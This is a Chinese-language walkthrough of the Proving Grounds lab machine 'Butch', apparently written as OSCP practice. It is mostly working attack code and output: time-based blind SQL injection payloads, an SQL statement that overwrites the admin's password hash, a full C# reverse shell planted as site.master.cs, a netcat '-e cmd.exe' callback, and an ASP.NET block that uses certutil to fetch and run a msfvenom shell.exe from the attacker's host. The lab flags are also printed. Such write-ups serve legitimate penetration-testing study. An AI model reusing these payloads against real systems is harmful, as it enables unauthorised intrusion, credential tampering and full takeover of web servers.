ProvingGrounds Butch Writeup

Butch

这是第26台,Windows系统,难度中等,名称 Butch

If you know your ASP.NET, you will be fine. Otherwise, this machine will teach you some of that.

192.168.225.63

PortScan

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
┌──(xavier㉿kali)-[~/Desktop/OSCP/PG_Practice/Butch]
└─$ sudo nmap -n -r --min-rate=3500 -sSV 192.168.225.63 -T4
[sudo] xavier 的密码:
Starting Nmap 7.94 ( https://nmap.org ) at 2024-02-12 16:12 CST
Nmap scan report for 192.168.225.63
Host is up (0.19s latency).
Not shown: 995 filtered tcp ports (no-response)
PORT    STATE SERVICE       VERSION
21/tcp  open  ftp           Microsoft ftpd
25/tcp  open  smtp          Microsoft ESMTP 10.0.17763.1
135/tcp open  msrpc         Microsoft Windows RPC
139/tcp open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp open  microsoft-ds?
Service Info: Host: butch; OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.13 seconds

全端口:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
┌──(xavier㉿kali)-[~/Desktop/OSCP/PG_Practice/Butch]
└─$ sudo nmap -n -r --min-rate=3500 -sSV 192.168.225.63 -T4 -p-
……
PORT     STATE SERVICE       VERSION
21/tcp   open  ftp           Microsoft ftpd
25/tcp   open  smtp          Microsoft ESMTP 10.0.17763.1
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds?
450/tcp  open  http          Microsoft IIS httpd 10.0
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)

InitAccess

尝试了ftp匿名登录,SMB匿名访问无果。

450-Web

SQL注入

访问 450 端口是个Web页面的登录口,没有账号密码,测试发现存在SQL注入。

1
2
exec master.dbo.xp_dirtree '\\192.168.45.164\123';--
sudo responder -I tun0

失败,xp_cmdshell失败

只能老老实实的去注入了

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
# 枚举数据库名
admin'if(len(db_name()))>=0+waitfor+delay+'0:0:2';--
admin'if(substring(db_name(),1,1))>='c'+waitfor+delay+'0:0:2';--
# 最终得到数据库名为butch

# 枚举表名
admin'if((select+count(name)+from+butch..sysobjects+where+xtype='u'))>=0+waitfor+delay+'0:0:2';--  # 有1张表
admin'if((select+len(name)+from+butch..sysobjects+where+xtype='u'))>=0+waitfor+delay+'0:0:2';--  # 表名长度为5
admin'if((select+substring(name,1,1)+from+butch..sysobjects+where+xtype='u'))>='u'+waitfor+delay+'0:0:2';--
# 得到表名为 users

# 枚举列名
admin'if((select+count(name)+from+syscolumns+where+id=OBJECT_ID('users')))>=4+waitfor+delay+'0:0:2';--  # 有3列
admin'if((select+top+1+len(name)+from+syscolumns+where+id=OBJECT_ID('users')))>=13+waitfor+delay+'0:0:2';-- #第一列列名长度为13
admin'if((select+top+1+substring(name,1,1)+from+syscolumns+where+id=OBJECT_ID('users')))>='p'+waitfor+delay+'0:0:2';--
# 得到列名为password_hash,user_id,username

# 枚举字段值
admin'if((select+len(password_hash)+from+butch..users))>=64+waitfor+delay+'0:0:1';--  # password列长度为64
admin'if((select+substring(password_hash,1,3)+from+butch..users))>='a+waitfor+delay+'0:0:1';--

因为长度太长了,就不手工跑了,用sqlmap跑下最后的结果

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
┌──(xavier㉿kali)-[~/Desktop/OSCP/PG_Practice/Butch]
└─$ sqlmap -r sqli.txt --level=3 --risk=3 -D butch -T users -C 'password_hash','username' --technique=T --dbms=mssql --dump --batch
……
[18:08:47] [WARNING] no clear password(s) found                                                         
Database: butch
Table: users
[1 entry]
+------------------------------------------------------------------+----------+
| password_hash                                                    | username |
+------------------------------------------------------------------+----------+
| e7b2b06dd8acded117d6d075673274c4ecdc75a788e09e81bffd84f11af6d267 | butch    |
+------------------------------------------------------------------+----------+
……
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
┌──(xavier㉿kali)-[~/Desktop/OSCP/PG_Practice/Butch]
└─$ hashid e7b2b06dd8acded117d6d075673274c4ecdc75a788e09e81bffd84f11af6d267     
Analyzing 'e7b2b06dd8acded117d6d075673274c4ecdc75a788e09e81bffd84f11af6d267'
[+] Snefru-256 
[+] SHA-256 
[+] RIPEMD-256 
[+] Haval-256 
[+] GOST R 34.11-94 
[+] GOST CryptoPro S-Box 
[+] SHA3-256 
[+] Skein-256 
[+] Skein-512(256)

尝试破解Hash失败。

做完题后看了官方walkthrough,这里是通过sqlmap破解的密码Hash,不太明白怎么做到的。

Since the output contained a password hash, sqlmap offers to attempt to crack the hash with a common wordlist. We’ll respond with Y or yes to proceed.

The attempt is successful, revealing a password of awesomedude. We can successfully authenticate to the web app with this password.

我本地的结果是没有跑出来的

这时候的另一种方法,就是通过SQL注入修改数据库。

重新设置一个密码,计算其sha256的值

1
2
3
┌──(xavier㉿kali)-[~/Desktop/OSCP/PG_Practice/Butch]
└─$ echo '123456' | sha256sum 
e150a1ec81e8e93e1eae2c3a77e66ec6dbd6a3b460f89c1d08aecf422ee401a0  -

插入新记录失败

1
insert into users(password_hash,user_id,username) values ('e150a1ec81e8e93e1eae2c3a77e66ec6dbd6a3b460f89c1d08aecf422ee401a0',2,'test');

修改原有记录

1
UPDATE users SET password_hash='e150a1ec81e8e93e1eae2c3a77e66ec6dbd6a3b460f89c1d08aecf422ee401a0' WHERE username='butch';

还是失败了,错误原因是echo '123456'这一步不对,echo默认情况下的输出是带有换行符的,导致计算的结果hash与预期不符。

重新计算Hash,再次修改原有记录:

1
2
3
4
5
┌──(xavier㉿kali)-[~/Desktop/OSCP/PG_Practice/Butch]
└─$ echo -n '123456' | sha256sum
8d969eef6ecad3c29a3a629280e686cf0c3f5d5a86aff3ca12020c923adc6c92  -

;UPDATE users SET password_hash='8d969eef6ecad3c29a3a629280e686cf0c3f5d5a86aff3ca12020c923adc6c92' WHERE username='butch';

使用butch/123456成功登录Web后台,发现是个后台上传功能。

文件上传

正常情况下的文件上传功能点的思路就是上传webshell,或者覆盖某些配置文件。这里apsx等可执行文件后缀无法上传,Webshell思路走不通。配置文件这块又不太了解。

补充一下,通过上传txt等测试文件,最后在Web根目录下找到了这些文件,确认了这些文件的上传位置。

接下去的知识点都是新学的

Web服务下有个dev目录,包含了一个site.master.txt文件,疑似是源码的一个备份

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<%@ Language="C#" src="site.master.cs" Inherits="MyNamespaceMaster.MyClassMaster" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en">
	<head runat="server">
		<title>Butch</title>
		<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
		<meta name="application-name" content="Butch">
		<meta name="author" content="Butch">
		<meta name="description" content="Butch">
		<meta name="keywords" content="Butch">
		<link media="all" href="style.css" rel="stylesheet" type="text/css" />
		<link id="favicon" rel="shortcut icon" type="image/png" href="favicon.png" />
	</head>
	<body>
		<div id="wrap">
			<div id="header">Welcome to Butch Repository</div>
			<div id="main">
				<div id="content">
					<br />
					<asp:contentplaceholder id="ContentPlaceHolder1" runat="server"></asp:contentplaceholder>
					<br />
				</div>
			</div>
		</div>
	</body>
</html>

微软官方文档site.master 表明该文件为每个页面提供了一个模板在 ASP.NET MVC 风格的应用程序上。

这块C#的代码不了解,只知道引入了site.master.cs,接下去的思路就是替换这个文件,让它去执行恶意命令。

从这找了个demo进行上传,https://github.com/autofac/Examples/blob/master/src/WebFormsExample/Site.Master.cs

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
using System;
using System.Web.UI;

namespace WebFormsExample
{
    public partial class SiteMaster : MasterPage
    {
        protected void Page_Load(object sender, EventArgs e)
        {

        }
    }
}

上传成功后,访问首页,首页报500错误,说明至少文件是替换成功了。

这里500之后好像只能重置环境,需要构造好恶意文件再上传。

恶意文件1

使用 reverse-shell-generator 生成 C#的反弹Shell代码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
using System;
using System.Text;
using System.IO;
using System.Diagnostics;
using System.ComponentModel;
using System.Linq;
using System.Net;
using System.Net.Sockets;


namespace ConnectBack
{
	public class Program
	{
		static StreamWriter streamWriter;

		public static void Main(string[] args)
		{
			using(TcpClient client = new TcpClient("192.168.45.164", 4444))
			{
				using(Stream stream = client.GetStream())
				{
					using(StreamReader rdr = new StreamReader(stream))
					{
						streamWriter = new StreamWriter(stream);
						
						StringBuilder strInput = new StringBuilder();

						Process p = new Process();
						p.StartInfo.FileName = "powershell";
						p.StartInfo.CreateNoWindow = true;
						p.StartInfo.UseShellExecute = false;
						p.StartInfo.RedirectStandardOutput = true;
						p.StartInfo.RedirectStandardInput = true;
						p.StartInfo.RedirectStandardError = true;
						p.OutputDataReceived += new DataReceivedEventHandler(CmdOutputDataHandler);
						p.Start();
						p.BeginOutputReadLine();

						while(true)
						{
							strInput.Append(rdr.ReadLine());
							//strInput.Append("\n");
							p.StandardInput.WriteLine(strInput);
							strInput.Remove(0, strInput.Length);
						}
					}
				}
			}
		}

		private static void CmdOutputDataHandler(object sendingProcess, DataReceivedEventArgs outLine)
        {
            StringBuilder strOutput = new StringBuilder();

            if (!String.IsNullOrEmpty(outLine.Data))
            {
                try
                {
                    strOutput.Append(outLine.Data);
                    streamWriter.WriteLine(strOutput);
                    streamWriter.Flush();
                }
                catch (Exception err) { }
            }
        }

	}
}

构造恶意文件:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
using System;
using System.Web.UI;
using System.Text;
using System.IO;
using System.Diagnostics;
using System.ComponentModel;
using System.Linq;
using System.Net;
using System.Net.Sockets;

namespace MyNamespaceMaster
{
	public partial class MyClassMaster : MasterPage
	{
    static StreamWriter streamWriter;
		protected void Page_Load(object sender, EventArgs e)
		{
			using(TcpClient client = new TcpClient("192.168.45.164", 445))
			{
				using(Stream stream = client.GetStream())
				{
					using(StreamReader rdr = new StreamReader(stream))
					{
						streamWriter = new StreamWriter(stream);
						StringBuilder strInput = new StringBuilder();

						Process p = new Process();
						p.StartInfo.FileName = "cmd.exe";
						p.StartInfo.CreateNoWindow = true;
						p.StartInfo.UseShellExecute = false;
						p.StartInfo.RedirectStandardOutput = true;
						p.StartInfo.RedirectStandardInput = true;
						p.StartInfo.RedirectStandardError = true;
						p.OutputDataReceived += new DataReceivedEventHandler(CmdOutputDataHandler);
						p.Start();
						p.BeginOutputReadLine();

						while(true)
						{
							strInput.Append(rdr.ReadLine());
							//strInput.Append("\n");
							p.StandardInput.WriteLine(strInput);
							strInput.Remove(0, strInput.Length);
						}
					}
				}
			}
		}

		private static void CmdOutputDataHandler(object sendingProcess, DataReceivedEventArgs outLine)
        {
            StringBuilder strOutput = new StringBuilder();
            if (!String.IsNullOrEmpty(outLine.Data))
            {
                try
                {
                    strOutput.Append(outLine.Data);
                    streamWriter.WriteLine(strOutput);
                    streamWriter.Flush();
                }
                catch (Exception err) { }
            }
        }

	}
}

测试过程中发现有端口限制,最后采用445端口,成功回连。

将恶意文件site.master.cs进行上传

Kali端启用nc监听445端口,然后刷新Web页面,成功收到回连。

1
2
3
4
5
6
7
8
9
┌──(xavier㉿kali)-[~/Desktop/OSCP/PG_Practice/Butch]
└─$ nc -nlvp 445
listening on [any] 445 ...
connect to [192.168.45.164] from (UNKNOWN) [192.168.225.63] 49821
Microsoft Windows [Version 10.0.17763.1217]
(c) 2018 Microsoft Corporation. All rights reserved.
whoami
c:\windows\system32\inetsrv>whoami
nt authority\system

由于这个连接是基于Web的,存在超时限制,需要建立一个稳定的shell

由于有端口限制,因此选择Kali侧开启smb服务进行文件传输

1
2
3
4
┌──(xavier㉿kali)-[~/Desktop/OSCP/tools/win]
└─$ impacket-smbserver share $(pwd) -smb2support
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
……

Windows端接收文件:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
C:\tmp>copy \\192.168.45.164\share\nc64.exe .
        1 file(s) copied.

C:\tmp>dir
 Volume in drive C has no label.
 Volume Serial Number is D4C7-EAE0
 Directory of C:\tmp
02/12/2024  04:46 AM    <DIR>          .
02/12/2024  04:46 AM    <DIR>          ..
12/25/2010  09:31 PM            43,696 nc64.exe
               1 File(s)         43,696 bytes
               2 Dir(s)  33,599,651,840 bytes free

再使用nc建立一个稳定的shell

1
C:\tmp>nc64.exe 192.168.45.164 21 -e cmd.exe
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
┌──(xavier㉿kali)-[~/Desktop/OSCP/PG_Practice/Butch]
└─$ nc -nlvp 21
listening on [any] 21 ...
connect to [192.168.45.164] from (UNKNOWN) [192.168.225.63] 49829
Microsoft Windows [Version 10.0.17763.1217]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\tmp>whoami
whoami
nt authority\system

C:\tmp>powershell
powershell
Windows PowerShell 
Copyright (C) Microsoft Corporation. All rights reserved.

PS C:\tmp> type C:\users\administrator\desktop\proof.txt
type C:\users\administrator\desktop\proof.txt
8efb9ecaa9dd953e25de084f5db30648
PS C:\tmp> type C:\users\butch\desktop\local.txt
type C:\users\butch\desktop\local.txt
0f5cfaf654fe39337300f602295effb4
PS C:\tmp> 

PS C:\tmp> 

恶意文件2

从官方答案中看到的方法,不改 site.master.cs 文件,而是改 site.master。

创建一个新的 site.master 文件开始。将包含原始文件中的现有内容并附加任意 C# 代码,该代码输出正在运行 Web 应用程序的用户的名称:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<%@ Language="C#" src="site.master.cs" Inherits="MyNamespaceMaster.MyClassMaster" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en">
	<head runat="server">
		<title>Butch</title>
		<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
		<meta name="application-name" content="Butch">
		<meta name="author" content="Butch">
		<meta name="description" content="Butch">
		<meta name="keywords" content="Butch">
		<link media="all" href="style.css" rel="stylesheet" type="text/css" />
		<link id="favicon" rel="shortcut icon" type="image/png" href="favicon.png" />
	</head>
	<body>
		<div id="wrap">
			<div id="header">Welcome to Butch Repository</div>
			<div id="main">
				<div id="content">
					<br />
					<asp:contentplaceholder id="ContentPlaceHolder1" runat="server"></asp:contentplaceholder>
					<br />
				</div>
			</div>
		</div>
	</body>
</html>
<%
string stdout = "";
string cmd = "whoami";
System.Diagnostics.ProcessStartInfo procStartInfo = new System.Diagnostics.ProcessStartInfo("cmd", "/c " + cmd);
procStartInfo.RedirectStandardOutput = true;
procStartInfo.UseShellExecute = false;
procStartInfo.CreateNoWindow = true;
System.Diagnostics.Process p = new System.Diagnostics.Process();
p.StartInfo = procStartInfo;
p.Start();
stdout = p.StandardOutput.ReadToEnd();
Response.Write(stdout);
%>

这么做的好处在于不会让环境崩溃,无需重置环境。

上传成功后,刷新当前页面,会在网页底部输出 whoami的命令执行结果。

注意,第一次上传后需要刷新页面,或者用Get方式访问当前页才有命令执行结果,上图中是因为已经是第二次上传了。

接下去替换命令内容,下载由MSFVenom生产的shell.exe,并执行获取反弹shell。

1
2
$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.49.65 LPORT=450 -f exe -o shell.exe
$ sudo python3 -m http.server 445
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
<%
string stdout = "";
ArrayList commands = new ArrayList();
commands.Add("certutil.exe -urlcache -split -f \"http://192.168.49.65:445/shell.exe\" \"C:\\inetpub\\wwwroot\\shell.exe\"");
commands.Add("\"C:\\inetpub\\wwwroot\\shell.exe\"");
foreach (string cmd in commands) {
	System.Threading.Thread.Sleep(3000);
	System.Diagnostics.ProcessStartInfo procStartInfo = new System.Diagnostics.ProcessStartInfo("cmd", "/c " + cmd);
	procStartInfo.RedirectStandardOutput = true;
	procStartInfo.UseShellExecute = false;
	procStartInfo.CreateNoWindow = true;
	System.Diagnostics.Process p = new System.Diagnostics.Process();
	p.StartInfo = procStartInfo;
	p.Start();
	stdout = p.StandardOutput.ReadToEnd();
	Response.Write(stdout);
}
%>

nc监听450端口,获取反弹Shell

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
kali@kali:~$ sudo nc -lvp 450
listening on [any] 450 ...
192.168.65.63: inverse host lookup failed: Unknown host
connect to [192.168.49.65] from (UNKNOWN) [192.168.65.63] 49687
Microsoft Windows [Version 10.0.17763.1217]
(c) 2018 Microsoft Corporation. All rights reserved.

c:\windows\system32\inetsrv>whoami
whoami
nt authority\system

c:\windows\system32\inetsrv>

Flag

1
2
3
4
5
6
7
butch/awesomedude

type C:\users\administrator\desktop\proof.txt
8efb9ecaa9dd953e25de084f5db30648

type C:\users\butch\desktop\local.txt
0f5cfaf654fe39337300f602295effb4
0%